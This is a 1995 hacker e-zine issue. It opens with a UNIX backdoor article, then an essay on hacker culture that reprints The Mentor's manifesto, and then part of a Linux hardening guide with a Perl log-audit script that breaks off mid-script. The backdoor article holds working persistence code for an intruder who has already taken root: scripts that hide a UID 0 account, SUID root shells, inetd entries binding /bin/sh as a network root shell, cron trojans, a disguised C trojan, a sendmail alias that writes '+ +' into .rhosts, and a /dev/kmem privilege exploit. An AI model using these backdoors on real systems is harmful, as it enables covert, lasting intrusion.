Copy Link
Add to Bookmark
Report
The Infinity Concept Issue 02
.oO____Oo.
T H E I N F I N I T Y C O N C E P T
``` ```
` `` `
``` ```
.oO____Oo.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~The Infinity Concept~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
. Issue #2 .
. Fall 1995 .
-=-=-=-=-=-=-=-=-=Brought to you by the members and associates of-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-the Guild=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
| Route, Nihil, Carbonboy |
| Squidge, Mythrandir, Delirium |
| Alhambra, MrZippy, Cheshire, Zem |
url's
-------
ftp://onyx.infonexus.com/pub/Guild/
http://hops.cs.jhu.edu~/jed
http://homepage.interaccess.com/~rpfries/
------------------------------------------------------------------------------
Fall 1995 | The Infinity Concept | issue 2
------------------------------------------------------------------------------
In this issue...
1).UNIX backdoors................Route
2).Hacker Hype..............Mythrandir
3).Linux Security Basics......Deliryum
4).Halloween Lore.............Deliryum
5).'A Word to The Wise'.......Deliryum
6).Intro to Van Eck Devices....RPFries
Tell me and I forget.
Teach me and I remember.
Involve me and I learn.
-- Ben Franklin
.oO____Oo.
[Introduction]
Welcome back to the offical Pursuit of Knowledge, this, the second
issue of The Infinity Concept. There have some membership changes in the
Guild in the last few months. Topher and JFP have both stepped down for very
different reasons. They still remain on great terms and are welcomed back at
anytime they see fit to return.
We had many votes of confidence and kudos from you guys on the first
issue, and I hope this issue to be more of the same. Probably the biggest
change is my new site, infonexus.com. By the time you read this it should
be up and running (it has been HELL getting my provider to run with the ball).
The ftpsite has moved there (expanded tremendously), and it is now thw basis
for my operations. It is homesite of the Guild, and of Mike Scanlons zine
HACKERS. I have the site locked down rather tightly, and for more info on
it, email me.
Already looking ahead to next issue, I plan to be do a techincal
article either on giga-bit networking technologies (B-ISDN, ATM, SONET,
etc) or firewall theory and architecture. If anyone has *ANY* article
suggestions, or submissions, please email me.
*note* This issue is coming out a bit early, and as such, Mythrandir and
Nihil did not have time to submit their main articles. An special edition
or an early next issue will contain there articles....
Now, on with the show...
-Route
.oO____Oo.
______________________________________________________________
|UNIX backdoors |
|________________________(Keeping root in your hippocket)_____|
by Infinity 9/95
--[Abstract]--
Ok..... You've been at it for all night. Trying all the exploits you
can think of. The system seems tight. The system looks tight. The system
*is* tight. You've tried everything. Default passwds, guessable passwds,
NIS weaknesses, NFS holes, incorrect permissions, race conditions, SUID
exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!?
A "#" ???? Finally! After seeming endless toiling, you've managed to steal
root. Now what? How do you hold onto this precious super-user privilege you
have worked so hard to achieve....?
This article is intended to show you how to hold onto root once you
have it. It is intended for hackers and administrators alike. From a
hacking perspective, it is obvious what good this paper will do you. Admin's
can likewise benefit from this paper. Ever wonder how that pesky hacker
always manages to pop up, even when you think you've completely eradicated
him from your system?
This list is BY NO MEANS comprehensive. There are as many ways to
leave backdoors into a UNIX computer as there are ways into one.
--[Beforehand...]--
Know the location of critical system files. This should be obvious
(If you can't list any of the top of your head, stop reading now, get a book
on UNIX, read it, then come back to me...). Familiarity with passwd file
formats (including general 7 field format, system specific naming conventions,
shadowing mechanisms, etc...). Know vi. Many systems will not have those
robust, user-friendly editors such as Pico and Emacs. Vi is also quite
useful for needing to quickly seach and edit a large file. If you are
connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to
have a robust terminal program that has a nice, FAT scrollback buffer. This
will come in handy if you want to cut and paste code, rc files, shell scripts,
etc...
The permenance of these backdoors will depend completely on the
technical saavy of the administrator. The experienced and skilled
administrator will be wise to many (if not all) of these backdoors. But, if
you have managed to steal root, it is likely the admin isn't as skilled (or up
to date on bug reports) as she should be, and many of these doors may be in
place for some time to come. One major thing to be aware of, is the fact
that if you can cover you tracks during the initial break-in, no one will be
looking for back doors.
--[The Overt]--
[1] Add a UID 0 account to the passwd file. This is probably the most
obvious and quickly discovered method of rentry. It flies a red flag to the
admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO
NOT simply prepend or append it. Anyone causally examining the passwd file
will see this. So, why not stick it in the middle...
------------------------------------8<----------------------------------------
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# daemon9@netcom.com
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
------------------------------------8<----------------------------------------
NEVER, EVER, change the root password. The reasons are obvious.
[2] In a similar vein, enable a disabled account as UID 0, such as
Sync. Or, perhaps, an account somwhere buried deep in the passwd file has
been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove
the '*' from the second field).
[3] Leave an SUID root shell in /tmp.
------------------------------------8<----------------------------------------
#!/bin/sh
# Everyone's favorite...
cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell
------------------------------------8<----------------------------------------
Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp
upon a reboot. Many systems have /tmp mounted to disallow SUID programs
from executing. You can change all of these, but if the filesystem starts
filling up, people may notice...but, hey, this *is* the overt section....).
I will not detail the changes neccessary because they can be quite system
specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
--[The Veiled]--
[4] The super-server configuration file is not the first place a
sysadmin will look, so why not put one there? First, some background info:
The Internet daemon (/etc/inetd) listens for connection requests on TCP and
UDP ports and spawns the appropriate program (usally a server) when a
connection request arrives. The format of the /etc/inetd.conf file is simple.
Typical lines look like this:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
Field (1) is the daemon name that should appear in /etc/services. This tells
inetd what to look for in /etc/services to determine which port it should
associate the program name with. (2) tells inetd which type of socket
connection the daemon will expect. TCP uses streams, and UDP uses datagrams.
Field (3) is the protocol field which is either of the two transport
protocols, TCP or UDP. Field (4) specifies whether or not the daemon is
iterative or concurrent. A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait. 'Nowait'
means the server will accept a connection, spawn a child process to handle
the connection, and then go back to sleep, waiting for further connections.
Field (5) is the user (or more inportantly, the UID) that the daemon is run
as. (6) is the program to run when a connection arrives, and (7) is the
actual command (and optional arguments). If the program is trivial (usally
requiring no user interaction) inetd may handle it internally. This is done
with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used
often, and replace the daemon that would normally handle it with something
else. A program that creates an SUID root shell, a program that adds a root
account for you in the /etc/passwd file, etc...
For the insinuation-impaired, try this:
Open the /etc/inetd.conf in an available editor. Find the line that reads:
daytime stream tcp nowait root internal
and change it to:
daytime stream tcp nowait /bin/sh sh -i.
You now need to restart /etc/inetd so it will reread the config file. It
is up to you how you want to do this. You can kill and restart the
process, (kill -9 <PID of inetd>, /usr/sbin/inetd or /usr/etc/inetd) which
will interuppt ALL network connections (so it is a good idea to do this off
peak hours).
[5] An option to compromising a well known service would be to
install a new one, that runs a program of your choice. One simple solution
is to set up a shell the runs similar to the above backdoor. You need to
make sure the entry appears in /etc/services as well as in /etc/inetd.conf.
The format of the /etc/services file is simple:
(1) (2)/(3) (4)
smtp 25/tcp mail
Field (1) is the service, field (2) is the port number, (3) is the protocol
type the service expects, and (4) is the common name associated with the
service. For instance, add this line to /etc/services:
evil 22/tcp evil
and this line to /etc/inetd.conf:
evil stream tcp nowait /bin/sh sh -i
Restart inetd as before.
Note: Potentially, these are a VERY powerful backdoors. They not
only offer local rentry from any account on the system, they offer rentry
from *any* account on *any* computer on the Internet.
[6] Cron-based trojan I. Cron is a wonderful system administration
tool. It is also a wonderful tool for backdoors, since root's crontab will,
well, run as root... Again, depending on the level of experience of the
sysadmin (and the implementation), this backdoor may or may not last.
/var/spool/cron/crontabs/root is where root's list for crontabs is usally
located. Here, you have several options. I will list a only few, as
cron-based backdoors are only limited by your imagination.
Cron is the clock daemon. It is a tool for automatically executing
commands at specified dates and times. Crontab is the command used to add,
remove, or view your crontab entries. It is just as easy to manually edit
the /var/spool/crontab/root file as it is to use crontab. A crontab entry
has six fields:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb
Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month
(1-31) month of the year (1-12), day of the week (0-6). Field (6) is the
command (or shell script) to execute. The above shell script is executed on
Mondays. To exploit cron, simply add an entry into /var/spool/crontab/root.
For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if
he is missing, or do nothing otherwise (it may not be a bad idea to actually
*insert* this shell code into an already installed crontab entry shell
script, to further obfuscate your shady intentions). Add this line to
/var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
This is the shell script:
------------------------------------8<----------------------------------------
#!/bin/csh
# Is our eviluser still on the system? Let's make sure he is.
#daemon9@netcom.com
set evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag == 0) then # Is he there?
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif
------------------------------------8<----------------------------------------
[7] Cron-based trojan II. This one was brought to my attention by
our very own Mr. Zippy. For this, you need a copy of the /etc/passwd file
hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky)
we have but one entry, a root account with a passwd of your choosing. We run
a cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real
/etc/passwd file for one minute (synchronize swatches!). Any normal user or
process trying to login or access the /etc/passwd file would get an error, but
one minute later, everything would be ok. Add this line to root's crontab
file:
29 2 * * * /bin/usr/sneakysneaky_passwd
make sure this exists:
#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
and this is the simple shell script:
------------------------------------8<----------------------------------------
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
------------------------------------8<----------------------------------------
[8] Compiled code trojan. Simple idea. Instead of a shell script,
have some nice C code to obfuscate the effects. Here it is. Make sure it
runs as root. Name it something innocous. Hide it well.
------------------------------------8<----------------------------------------
/* A little trojan to create an SUID root shell, if the proper argument is
given. C code, rather than shell to hide obvious it's effects. */
/* daemon9@netcom.com */
#include<stdio.h>
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan
messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */
------------------------------------8<----------------------------------------
[9] The sendmail aliases file. The sendmail aliases file allows for
mail sent to a particular username to either expand to several users, or
perhaps pipe the output to a program. Most well known of these is the
uudecode alias trojan. Simply add the line:
"decode: "|/usr/bin/uudecode"
to the /etc/aliases file. Usally, you would then create a uuencoded
.rhosts file with the full pathname embedded.
------------------------------------8<----------------------------------------
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
------------------------------------8<----------------------------------------
Next telnet to the desired site, port 25. Simply fakemail to decode
and use as the subject body, the uuencoded version of the .rhosts file. For
a one liner (not faked, however) do this:
%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
You can be as creative as you wish in this case. You can setup an
alias that, when mailed to, will run a program of your choosing. Many of
the previous scripts and methods can be employed here.
--[The Covert]--
[10] Trojan code in common programs. This is a rather sneaky method
that is really only detectable by programs such tripwire. The idea is
simple: insert trojan code in the source of a commonly used program.
Some of most useful programs to us in this case are su, login and passwd
because they already run SUID root, and need no permission modification.
Below are some general examples of what you would want to do, after obtaining
the correct sourcecode for the particular flavor of UNIX you are backdooring.
(Note: This may not always be possible, as some UNIX vendors are not so
generous with thier sourcecode.) Since the code is very lengthy and
different for many flavors, I will just include basic psuedo-code:
get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...
Not complex or difficult. Trojans of this nature can be done in
less than 10 lines of additional code.
--[The Esoteric]--
[11] /dev/kmem exploit. It represents the virtual of the system.
Since the kernel keeps it's parameters in memory, it is possible to modify the
memory of the machine to change the UID of your processes. To do so requires
that /dev/kmem have read/write permission. The following steps are executed:
Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
your current process, then spawn a csh, which will inherit this UID. The
following program does just that.
------------------------------------8<----------------------------------------
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practical tutorial"
with some modifications by daemon9@netcom.com */
#include <stdio.h>
#include <fcntl.h>
#include <sys/signal.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/dir.h>
#include <sys/user.h>
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
} /* End main */
#include<filehdr.h>
#include<syms.h>
#include<ldfcn.h>
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}
------------------------------------8<----------------------------------------
[12] Since the previous code requires /dev/kmem to be world accessable,
and this is not likely a natural event, we need to take care of this. My
advice is to write a shell script similar to the one in [7] that will change
the permissions on /dev/kmem for a discrete amount of time (say 5 minutes)
and then restore the original permissions. You can add this source to the
source in [7]:
------------------------------------8<----------------------------------------
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before
------------------------------------8<----------------------------------------
.oO____Oo.
---------------------------
---- Hacker Hype ----
---- by, Mythrandir ----
---------------------------
The following is something that I wrote for the newsletter of my college's
chapter of ACM. The distribution is normally about 1000, but also went out
to all of those who were attending our conference at the time. Steve Wozniak
was also our keynote speaker.
With the release of HACKERS, the supposed dark side of the internet has
been thrust into the limelight once more. As many of you may have noticed the
media has taken a keen interesting in hackers as of late. Several arrests have
made national newspapers and magazines. Unfortunately it seems that very
little of the story is actually told. The actors in this drama are often
dehumanized and made out to be people of pure maliciousness. Unfortunately,
these are often people who are completely misunderstood, and even worse
misrepresented by the media. I myself have met several people who the media
would consider hackers. Some of these people do indeed fit into the stereo
type that is portrayed by the media, but the fact is that most of these people
do not. They are simply people who are striving for knowledge in a society
that does not promote free access of information. These are the people
who were never allowed to follow their curiosity. They were told to follow
the paths and curriculum that was laid in front of them, because people older
and wiser than them had formed them. Many people were stunted and lost their
drive for knowledge, others broke free. The fact is that
these people are not all a bunch of people living in run down basements trying
to destroy the network. These people are everywhere, from every walk of life,
living every type of lifestyle. Being a hacker has nothing to do with race,
religion, or sex. It has but one criteria. A burning desire to aquire
knowledge. To know whatever it is that you do not know. It is a quest that
can never end, and I believe it is the noblest. It is an unwritten rule
that one does not call him or herself a hacker. The rule says that it is a
title that is bestowed on you. The fact is that being a hacker is something
that you are born as. It is neither earned nor bestowed. It has nothing to
do with power or control. It is simply a way of being. Are you a hacker?
The following is the hackers creed that was referred to in the movie
HACKERS. Read it and judge for yourself. It is a description of what many
have experienced time and time again. The quest for knowledge crushed. But
for many it cannot be driven out, for you see, knowledge yearns to be free.
Jeff Thompson
ACM@UIUC Vice Chair
SigNET Chair
The following was written shortly after my arrest...
\/\The Conscience of a Hacker/\/
by
+++The Mentor+++
Written on January 8, 1986
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Another one got caught today, it's all over the papers.
"Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after
Bank Tampering"...
Damn kids. They're all alike.
But did you, in your three-piece psychology and 1950's
technobrain, ever take a look behind the eyes of the hacker? Did you
ever wonder what made him tick, what forces shaped him, what may have
molded him?
I am a hacker, enter my world...
Mine is a world that begins with school... I'm smarter than most of
the other kids, this crap they teach us bores me...
Damn underachiever. They're all alike.
I'm in junior high or high school. I've listened to teachers
explain for the fifteenth time how to reduce a fraction. I understand
it. "No, Ms. Smith, I didn't show my work. I did it in my head..."
Damn kid. Probably copied it. They're all alike.
I made a discovery today. I found a computer. Wait a second,
this is cool. It does what I want it to. If it makes a mistake, it's
because I screwed it up. Not because it doesn't like me...
Or feels threatened by me...
Or thinks I'm a smart ass...
Or doesn't like teaching and shouldn't be here...
Damn kid. All he does is play games. They're all alike.
And then it happened... a door opened to a world... rushing
through the phone line like heroin through an addict's veins, an
electronic pulse is sent out, a refuge from the day-to-day
incompetencies is sought... a board is found.
"This is it... this is where I belong..."
I know everyone here... even if I've never met them, never talked
to them, may never hear from them again... I know you all...
Damn kid. Tying up the phone line again. They're all alike...
You bet your ass we're all alike... we've been spoon-fed baby
food at school when we hungered for steak... the bits of meat that you
did let slip through were pre-chewed and tasteless. We've been
dominated by sadists, or ignored by the apathetic. The few that had
something to teach found us willing pupils, but those few are like
drops of water in the desert.
This is our world now... the world of the electron and the
switch, the beauty of the baud. We make use of a service already
existing without paying for what could be dirt-cheap if it wasn't run by
profiteering gluttons, and you call us criminals. We explore... and you
call us criminals. We seek after knowledge... and you call us
criminals. We exist without skin color, without nationality, without
religious bias... and you call us criminals. You build atomic bombs, you
wage wars, you murder, cheat, and lie to us and try to make us believe
it's for our own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime
is that of judging people by what they say and think, not what they look
like. My crime is that of outsmarting you, something that you will never
forgive me for.
I am a hacker, and this is my manifesto. You may stop this
individual, but you can't stop us all... after all, we're all alike.
+++The Mentor+++
.oO____Oo.
Linux Security Basics -- by Deliryum
This text will cover basic security questions reguarding the Linux operating
system. This is written for the "lay-man" in mind and thus will not go into
great technical lenths (such as firewalling, which is detailed in great lenth
in the FIREWALL howto). There is a good deal more information available on
this subject, but I hope this is still quite informative. :) As always bear in
mind that I am just a lowly human and becuase of which am proned to making
mistakes. So, please, if there are mistakes in this text please point them out
to me. Remember I am not responsible for anything that could result from
reading this document. Nausea, convulsions, brain damage, etc.. should
conditions persist seek imediate medical attention.. I repeat... :) Ok, enough
yacking, on to the info.
o Default accounts:
Linux does come with a few standard logon id's that are needed for its basic
operation. Such as the root command, which doesn't have a password until you
assign it one. Its a good idea to disable the passwords of any default account.
This is done by putting a * in the password field of the /etc/passwd file. Also
on this note, its probably not a good idea to make a "guest" account on your
system. By this I mean an account where just anyone could login and have "guest
access" on your system. Such, security wise, is rather bad.
o Passwords:
Its amazing just how weakly this is enforced on some systems. A poorly chosen
password will defeat any other security measures, you as a sysadmin, can
envoke. Your users will, of course, want a password they don't have to think
about or write down, but this just isn't a good thing. It should be something
as difficult to crack as possible. With a combination of both letters and
numbers. This cannot be stressed enough. The longer the better. A unix
password can only be 8 letters long. This should never be a word in any
language. Also your users should be aware that their password should not relate
to them. An example of this is as such: Lets say one of your users is named Bob
Jones and Mr jones uses jones1 as a password... Well folks.. that just won't do.
It needs to bear no relation to that person. Also, and this should be rather
obvious, the root password should be as UNGODLY difficult in spelling as
possible. This is, of course, the most important and powerful, account on your
system and should be protected. There are other ways of gaining root access on a
system than guessing that password, but ya shouldn't make it easy for an
intruder. :)
o Idle accounts:
Idle accounts are accounts that are basically unused. The person it was made for
either no longer uses it or has used it once or twice and doesn't plan on using
it anymore. This is bad security wise, as it is an account by which access could
be gained on your system. They need to be deleted.
o Action accounts:
Action accounts (also known as command accounts) are those that have the
ability to be logoned to and they run a set command. Ie, if you allowed such
accounts one could login as finger and the finger command would run and then
disconnect that person. These should *not* be used.
o Remote commands:
The following commands should be commented out of your /etc/inetd.conf file.
Finger, systat, and netstat (in most versions of linux this is stated in that
file right above where those commands are listed). These commands would give
information out to potential "system hackers" and is a bad idea becuase of this.
o System Logs:
A sysadmin should DEFINATLY pay close attention to these. These logs can help
a sysadmin know more of what is going on on his system. Below are some scripts
in Perl (you will need perl installed on your box for these to run) to better
maintain your logs. You should run these in a cron job (the sysadmin's best
friend) with sreport first and the archiver next so they are all in place still.
************************************ cut here ************************
#!/usr/bin/perl
# sreport v0.99 Copyright (C) 1995 Brett A. Thomas and RedCloud
# Software. This product is freeware, and may be freely distributed
# as long as it isn't charged for. Email quark@baz.com with any
# questions.
# An important item to bear in mind about this script is that it deals with
# a lot of logfiles that are often around in the system for a long period
# of time (ie, /var/adm/messages, /var/adm/xferlog, and /usr/adm/wtmp).
# These files _generally_ do not have year information stored in them,
# so there is no way to tell what happened a year ago yesterday from
# what happened yesterday. So, there is a requirement that your logfiles
# not have data more than one year old in them. Speaking personally, I
# solved this problem by compressing and storing everything more than one
# month old in a cron job that runs once a month.
# This array holds the list of all users for whom it is acceptable to have
# UID 0 (generally only "root"):
@ok_uid_zeros = ("root");
# This array holds the list of all users for whom it is acceptable to have
# GID 0:
@ok_gid_zeros = ("root", "sync", "shutdown", "halt", "operator");
# Contact line. Kludged 'cause reports don't like at signs
$email_line = "Email quark@baz.com with any issues.\n";
&get_dates(); # Assigns the date to global var $date, and the report date
# (ie, yesterday) to the global $report_date.
&get_hostname(); # Assigns the hostname to $host_name.
&get_domain_name(); # Gets domain name from /etc/HOSTNAME
# Everything above is to get setup info. Reports are generated from
# here on down.
&get_syslog_report(); # Gets the syslog report into $syslog_report.
&get_netlogons_report(); # Gets the netlogons report into
# $netlogons_report.
&get_xferlog_report(); # Gets the xfer report into $xferlog_report.
&get_diskspace_report(); # Gets diskpace report into $disk_space_report.
&get_passwd_report(); # Gets passwd analysis into $passwd_report
&get_uptime_report(); # Gets the uptime report into $uptime_report.
# Open the report as a pipe to mail to root:
open(ADMINREPORT, "|mail root -s \"Administration Report for $host_name\"");
# Write the report (definition is at the end of the script)
write(ADMINREPORT);
# And close.
close(ADMINREPORT);
# Subroutines:
# Assigns today's date the the global variable $date, and the report date
# (generally yesterday) to the global variable $report_date.
sub get_dates
{
# Execute "date" as a pipe, to get today's date:
open(DATE_PIPE, "date|");
chop($date = <DATE_PIPE>); # Get the output from the process
close(DATE_PIPE); # Close it
# Now, we need yesterday's date. Rather than futzing with it,
# we can call "date -d yesterday" in order to have IT figure it
# out for us.
open(DATE_PIPE, "date -d yesterday|");
chop($_ = <DATE_PIPE>); # Get the info, again...
close(DATE_PIPE); # ...and close it.
s/\w+\s//; # Strip off the leading day of the week.
/\w+\s+\w+/; # Match "MMM DD" (ie, "Aug 8")
$report_date = $&; # Assign the results of this to $report_date.
}
# Find out who we are:
sub get_hostname
{
open(HOSTNAME, "/etc/HOSTNAME"); # Execute hostname into a pipe
chop($host_name = <HOSTNAME>); # Get the information
close(HOSTNAME); # Close the file up
}
# Get the report information from /var/adm/messages for all entries that
# were written on $report_date:
sub get_syslog_report
{
open(SYSLOG, "/var/adm/messages"); # Open the file for reading...
while($_ = <SYSLOG>) # Loop while there is more to read
{
/\w+\s+\w+/; # Match "MMM DD" (ie, "Aug 8")
if($& eq $report_date) # Only get today's report...
{
# Concatenate the line to the report:
$syslog_report = $syslog_report . $_;
}
}
close(SYSLOG); # Close the file
if(!$syslog_report) # If no lines were found from $report_date
{
$syslog_report = "No Entries.\n"; # Indicate a blank report
}
}
# Get the report information from /var/adm/xferlog for all entries that
# were written on $report_date. This is very similar to &get_syslog_report,
# above. However, since the log files have trivial format differences, the
# functions are not identical.
sub get_xferlog_report
{
open(SYSLOG, "/var/adm/xferlog"); # Open the xferlog for reading
while($_ = <SYSLOG>) # Loop while there's something to read
{
s/\w+\s//; # Strip off the leading day of the week.
/\w+\s+\w+/; # Match "MMM DD" (ie, "Aug 8")
if($& eq $report_date) # Only get today's report...
{
# Concatenate the line to the report:
$xferlog_report = $xferlog_report . $_;
}
}
close(SYSLOG); # Close the file
if(!$xferlog_report) # If no lines were found from $report_date
{
$xferlog_report = "No Entries.\n"; # Indicate an empty report
}
}
# Generate the report of who logged on yesterday from the network.
# From the network, for these purposes, is defined as: On a virtual
# terminal (ttyp*), not from $domain_name and not from 0.0 (the only X
# I have set up).
sub get_netlogons_report
{
open(LOGONS, "who /usr/adm/wtmp|"); # Open who to a pipe
while($_ = <LOGONS>) # While it's got info...
{
$temp = $_; # Remember the raw line ere manipulation
s/\w+\s+\w+\s+//; # Dump the userid and tty off the line, for now
/\w+\s+\w+/; # Match the date...
if($& eq $report_date) # Is it from the day we're looking for?
{
$_ = $temp; # If so, put the raw input back into $_
if(/ttyp/) # Is it from a virtual terminal?
{
/$domain_name/; # Is it not from the local net?
if(!/$domain_name/)
{
if(! /0.0/) # Is it not from an X Terminal?
{
# Yes, yes and yes; append it to the report:
$netlogons_report = $netlogons_report . $_;
}
}
}
}
}
close(LOGONS); # Close the pipe
if(!$netlogons_report) # Nobody logged in yesterday!
{
$netlogons_report = "No Entries.\n"; # Report a NULL report
}
}
# Get the report on the ammount of diskspace available.
sub get_diskspace_report
{
open(DF, "df |"); # Open df to a pipe
while($_ = <DF>)
{
if(!/\/mnt\//) # Ignore stuff in /mnt like floppies, CDs, FAT drives
{
if(!/:/) # Ignore NFS mounted volumes
{
# Append it to the report:
$disk_space_report = $disk_space_report . $_;
}
}
}
close(DF); # Close the pipe
if(!$disk_space_report)
{
# A NULL report on this one is a bit more severe on the others.
# It is truly weird if df has no entries that are not NFS and
# not in the /mnt directory (at least on my systems)
$disk_space_report = "No Entries. (HUH?)\n";
}
}
# This is the most sophisticated of all. It does some simple analysis of
# the existing /etc/passwd, and then does some analysis of what has changed
# since yesterday. At a high level, it reports on users with no passwords,
# users who are UID 0 or GID 0 and not in the @ok_uid_zeros and @ok_gid_zeros
# arrays, respectively, and reports the users added, deleted and changed
# since the last time it was run (presumed to be yestersay).
sub get_passwd_report
{
# Initialize all the variables we need:
$no_password_users = 0; # Number of users with no password
$uid_zero = 0; # Number of users who are (improperly) UID 0
$gid_zero = 0; # Ditto for GID 0
$index = 0; # Temporary index for walking arrays
open(PASSWD, "/etc/passwd"); # Read in for security analysis, first...
while($_ = <PASSWD>) # While there's lines to read
{
# First, check for users with no passwords at all:
if(/^[^:]*::/) # If we have "login::" as the start of the line...
{
/^[^:]*/; # Just select the login, and scream and holler:
$passwd_report =
$passwd_report .
"*** WARNING! USER <$&> HAS NO PASSWORD! ***\n";
# Increment the count of problem users)
$no_password_users = $no_password_users + 1;
}
if(/^[^:]*:[^:]*:0/) # UID == 0 (just trust me on this)
{
/^[^:]*/; # Just select the login
$is_ok = 0;
$index = 0;
while(!$is_ok && $ok_uid_zeros[$index]) # Is it OK for this guy?
{
if($& eq $ok_uid_zeros[$index])
{
$is_ok = 1; # Allowed to have UID 0.
}
$index = $index + 1;
}
if(!$is_ok) # NOT allowed to be UID 0!
{
$passwd_report =
$passwd_report .
"*** WARNING! USER <$&> IS UID 0! ***\n";
$uid_zero = $uid_zero + 1;
}
}
if(/^[^:]*:[^:]*:[^:]*:0/) # GID == 0...
{
/^[^:]*/; # Select the login
$is_ok = 0;
$index = 0;
while(!$is_ok && $ok_gid_zeros[$index]) # OK to be GID 0?
{
if($& eq $ok_gid_zeros[$index])
{
$is_ok = 1; # It's OK (ie, he's root)
}
$index = $index + 1;
}
if(!$is_ok) # It's NOT ok! Alert...
{
$passwd_report =
$passwd_report .
"*** WARNING! USER <$&> IS GID 0! ***\n";
$gid_zero = $gid_zero + 1;
}
}
}
close(PASSWD);
if($gid_zero || $uid_zero || $no_password_users > 0)
{
